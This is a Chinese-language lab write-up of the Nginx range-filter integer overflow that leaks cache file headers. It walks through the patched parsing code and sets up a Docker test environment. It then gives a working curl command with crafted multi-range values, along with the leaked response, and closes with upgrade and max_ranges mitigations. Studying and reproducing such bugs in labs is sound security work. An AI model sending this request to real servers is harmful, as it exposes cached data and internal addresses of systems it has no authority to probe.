漏洞原理
首先，我们看这次漏洞修复的commit:
可以看到，在ngx_http_range_filter_module.c的ngx_http_range_parse函数中做了两处修复：
[if !supportLists]· [endif]进一步检测了size的溢出情况，防止size溢出后造成小于content-length这条判断的绕过
[if !supportLists]· [endif]则直接限定了使用后缀的情况下，start不能为负的，最小只能是0，也就是说使用“-xxx”的方式对Cache文件的读取只能从0开始到结束。
根据漏洞修复commit的注释，我们知道这次漏洞的主要成因就是bytes-range读取的起始范围可能为负数，从而读取缓存文件头部。
首先，如果传入完整的range参数，如start-end，则在ngx_http_range_parse()中会检查start，确保其不会溢出为负值：
因此，如果需要将start解析为负数，只能通过-end这类后缀型range参数实现:
此时的start等于content-length减去读入的end值，所以如果传入的end比实际长度还要长，就可以使start变为负数，而这就是第二处修复所处理的情形：
同时注意到，在这类情况下，最终end的值会被设定为content-length-1。所以这块range的总长度就超过了content-length。而Nginx对range总长度会有检查：
一般来说，range作为原始文件的一部分，其长度应该是小于content-length的。所以一旦计算得到的size比content-length还大，那就直接将原始文件返回了，不再进行range处理。为了绕过这一限制，我们就需要利用到第一处修复所处理的情形。
具体而言，检查用到的size是将multipart的全部range长度相加得到的：
因此，一个range是不够的，我们至少需要两个range，其长度之和溢出为负数，就可以绕过总长度的检查了。
要得到一个很大长度的range，同样可以采用-end这种后缀型，将end设置为一个非常大的数即可。此处的start, end, size均为64位有符号整形，所以只需要最终相加得到的size为0×8000000000000000即可。
获取环境:
拉取镜像到本地
docker pull medicean/vulapps:n_nginx_1
启动环境
docker run -d -p 8000:80 medicean/vulapps:n_nginx_1
打开环境
http://192.168.0.102:8000/
出现下图说明环境搭建成功
漏洞解析:
此漏洞是根据HTTP的断点续传：Range来发送请求
Range设置在HTTP请求头中，它是多个byte-range-spec(或suffix-byte-range-spec)的集合
先来获取一条请求(ps:因为此请求是在漏洞环境中请求的，所以请求地址是本地)
curl -I http://127.0.0.1:8000/proxy/demo.png
HTTP/1.1 200 OK
Server: nginx/1.13.1
Date: Sat, 28 Apr 2018 04:11:56 GMT
Content-Type: image/png
Content-Length: 16585
Connection: keep-alive
Last-Modified: Mon, 17 Jul 2017 02:19:08 GMT
ETag: "40c9-5547a060fdf00"
X-Proxy-Cache: MISS
Accept-Ranges: bytes
首先，我们不指定range，返回一个响应头其中返回了一个content-Length长度为16585
看到 Content-Length: 16585,找个比这个数大的值，例如 -17208,第二个 range 值为 0x8000000000000000-17208, 也就是 9223372036854758600
发送一个请求
curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600
下面是返回值：
HTTP/1.1 206 Partial Content
Server: nginx/1.13.1
Date: Sat, 28 Apr 2018 04:46:18 GMT
Content-Type: multipart/byteranges; boundary=00000000000000000007
Connection: keep-alive
Last-Modified: Mon, 17 Jul 2017 02:19:08 GMT
ETag: "40c9-5547a060fdf00"
X-Proxy-Cache: HIT
--00000000000000000007
Content-Type: image/png
Content-Range: bytes -9223372036854742015-16584/16585
;þ⚜lY伣Z@ɠvq"40c9-5547a060fdf00"
KEY: httpGET127.0.0.1/proxy/demo.png
HTTP/1.1 200 OK
Date: Sat, 28 Apr 2018 04:43:15 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Mon, 17 Jul 2017 02:19:08 GMT
ETag: "40c9-5547a060fdf00"
Accept-Ranges: bytes
Content-Length: 16585
Connection: close
Content-Type: image/png
获取到的敏感数据
KEY: httpGET127.0.0.1/proxy/demo.png
漏洞修复
综合来看，这个漏洞就是整数溢出漏洞的利用，能够从Cache文件中获取Cache头的信息。在某些配置的情况下Cache头中会存在IP地址信息，造成信息泄露。
就Nginx模块以及常用的第三方模块本身来说，无法通过这个整数溢出来对内存进行操作或者远程执行。
建议升级到1.13.3和1.12.1版本；如果不能升级，可以在Nginx配置文件中添加max_ranges 1，从而禁用multipart range。
